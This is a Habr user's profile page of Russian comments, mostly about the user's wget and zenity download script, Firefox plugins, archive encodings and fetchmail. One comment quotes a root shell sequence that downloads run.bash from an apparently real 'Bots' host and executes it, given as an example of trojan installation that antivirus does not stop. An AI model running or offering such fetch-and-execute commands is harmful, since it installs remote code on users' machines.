Pull to refresh
28
0
Nebulosa @Nebulosa

User

Send message
Не расстраивайтесь, вы тоже не выбиваетесь из тренда, вы тоже гаджет-зависимы, иначе бы зачем вы думаете об своем телефоне исключительно по имени собственном? :)

Есть сотики, коммуникаторы, в общей массе это их так и называют, а есть оное, икона-гаджет у которого «нет» нарицательного.
Так на плакате тоже «Коморка»… Сильно вы устали.
Несколько неосмотрительно со стороны Иранской армии использовать веб-сервисы своего врага…
Ну Sopcast по такому же принципу и работает…
Рано бить в набат, а вернее уже поздно, эти ваши «трояны» уже как сто лет существуют и хостеры не по наслышке знают о них, ведя неравные бои в «абсолютно незащищенной» (резидентным антивирем) системе ;)

Кстати антивирь не панацея вовсе, если пользователь запустил от рута что-то вроде:
cd /usr/bin/
wget 05748.t35.com/Bots/index.php
wget 05748.t35.com/Bots/run.bash
sleep 4
rm index.php
chmod 755 run.bash
command -p /usr/bin/run.bash

какую из набора команд нужно запрещать?.. Похожим образом, например, устанавливается Flash ( habrahabr.ru/blogs/ubuntu/76460/ ) или Swiftfox ( getswiftfox.com/installer.htm )
Я бы даже сказал что ничего нелегального в этом способе нет вовсе, дело только в контексте — пользователь получил не то, что он хотел.
Все бы ничего, да вот только говорить о кросс-платформенности пока рано — zip не учитывает кодировки имен файлов. Эти вечные стенания про кракозябры в названиях заполонили все интернеты, странно что вы об этом не знаете.

7zip лишен такой проблемы.
А я fetchmail гоняю для этих целей. Через POP3 c сертификатами и все такое…

Если интересно, могу написать.
Ну так приделайте! Напишите свой разгромный пост, что мол как же так, простой шейпер не могли приделать, куда мир катится!
Если кратко, то я отказался от шейпера.

Если вдруг возметесь, вот мои соображения по этому поводу: добавить функциональность ограничения канала возможно (опция --limit-rate в wget) выводим новое модальное окошко zenity --scale и взаимодействуем с пользователем. Это все легко, а вот дальше начинаются дебри с представлением данных — для того чтобы правильно отобразить шейпер нужно заранее знать ширину канала, а эта величина не известна вообще, если качать нужно через прокси, это основная причина моего отказа от него, расчеты периода скорости невозможна, а жесткое органичение сверху сводит на нет универсальность, да и просто некрасивое решение. К тому же ограничение скорости задается один раз и действует на весь период скачки, что далеко не всегда удобно, но это уже ограничения wget.
Ньюансов море вообщем и представить логично и удобно ограничение скорости задача бОльшая чем сам этот скрипт :)
Если вам больно слышать про узкую специализацию скрипта, спешу вас обрадовать — работа скрипта распространяется и на другие области: скачивание роликов с YouTube в HD качестве (скорость интернета не позволяет смотреть ролики он-лайн, знаете ли), или скачивание подкастов, или скачивание других тяжелых файлов, например, (о боже мой!) дистрибутива Windows 7 для разработчиков!

Скрипт был написан одним июньским вечером, и в перерывах между лежками на пляжах доведен до ума (логи не дадут соврать), затем, в течении двух месяцев активно пользовался, поправлял мелкие баги, прежде чем выкладывать это в продакшн на хабр. Если вы считаете, что написание этого скрипта занимает у меня больше времени чем девушка, у меня для вас внезапные новости! ;)
Вы невнимательны :) плагин просто работает в отдельном окне и даже при закрытии основного окна браузера процесс firefox загружен в память. Следовательно, перезапустить его для установки/удаления другого плагина нельзя. Если вдруг фокс упадет закачки тоже утянутся в «бездну», проверьте сами, к тому что вы сделали выше выполните: killall firefox если они действительно независимы, то на DownThemAll! не повлияетэта команда, но это не так. По другому и быть не может потому, что это плагин. Не отдельная программа.
Я бы с вами согласился, если бы не одно но — то что DownThemAll! качает в отдельном окне, не означает, что он работает независимо от браузера, все равно браузер загружен в памяти, а жрет фокс, сами знаете, огого. К тому же бывали печальные случаи падения браузера (особенно при перехождении на ветку 3.5) или нужно было перезапустить Firefox при установке плагина…
Вообщем, отказался я от этого плагина.
Кто ж спорит, велосипед и есть, об этом я написал в первых двух абзацах, которые вы только что прочитали :)

Скажем так, это полезное закрепление полученных знаний Advanced Bash scripting Guide и справке по Zenity.

Без «велосипедов» нет прогресса, как говорил сами-знаете-кто.
Да неудобно мне в «профессиональных системах от Microsoft» и сами «профессиональные продукты от Microsoft» мне тоже неудобны. Такие дела.
Или все же имеется ввиду не только Майкрософт, а, например, WestByte?

Я как разработчик скрипта, разобрался в аспектах по решению задачи скачивания файла, написал скрипт и раздаю его всем желающим, которые могут поставить его к себе в систему несколькими кликами мышкой. Чем эта ситуация кардинально отличается от распространия дистрибутивов программ например?..
Ведь не станете же вы утверждать, что для того чтобы пользоваться менеджером закачек, пользователь должен пройти весь путь разработчиков DownloadMaster написав и скомпилировав программу предварительно, не так ли? ;)

Ну или другая аналогия, скажем… макросы или шаблоны которые делают для MS Office, их же тоже пишут, ставят, пользуются и никто не жужит по поводу насиживания гемороя, наоборот все счастливы, что все красиво и как нужно работает.

Теперь вам понятен просчет в вашей логике?.. :) Путь разработчика пользователь не обязан проходить.
Единственное отличие от «профессиональных продуктов Microsoft», то что, если пользователь захочет пройти путь разработки, он это сможет сделать.
Ну или так, ничего вроде криминального не делаю… Там вообще-то других огрехов стиля хватает.

Привет, ага :)
Вещь несомненно полезная, но здесь немного задача другая — качать файлы с тех файлообменников которые как раз не поддерживают докачку, т.е. ни поставить на паузу ни закрыть браузер нельзя (если качать обычным образом), все остальное — приятные бонусы. К тому же, интуитивно-понятным способом не получится прикрутить функцию пауза, к единственно доступной кнопке «Отмена», это уже ограничения zenity. Если сильно хочется, можно включить докачку добавив опцию -с для wget, но вот возобновлять её будет не всегда возможно.

Я люблю знаете ли, почитать пару статеек, за закрыть браузер нафег %), и о горе мне если в фоне качались (неразбочиво) с файлообменников. Дабы не чувствовать дискомфорт от включенного в фоне браузера, я и написал этот скрипт.
Браузер должен веб отображать а wget качать файлы, каждому своё, «ящитаю».
Честно говоря удивлен даже, что такое попало на главную хабра o_O

Давно использую нотификации, например для проверки новой почты (gmail, проверка по протоколу POP3 через SSL с последующим показом количества новых писем) или завершение закачки wget (показывает состония закачки через zenity), да даже когда чайник ставлю тоже использую! Это очень удобно конечно, но чтобы на хабр писать… как-то не задумывался…

Или все же написать?..

Information

Rating
Does not participate
Registered
Activity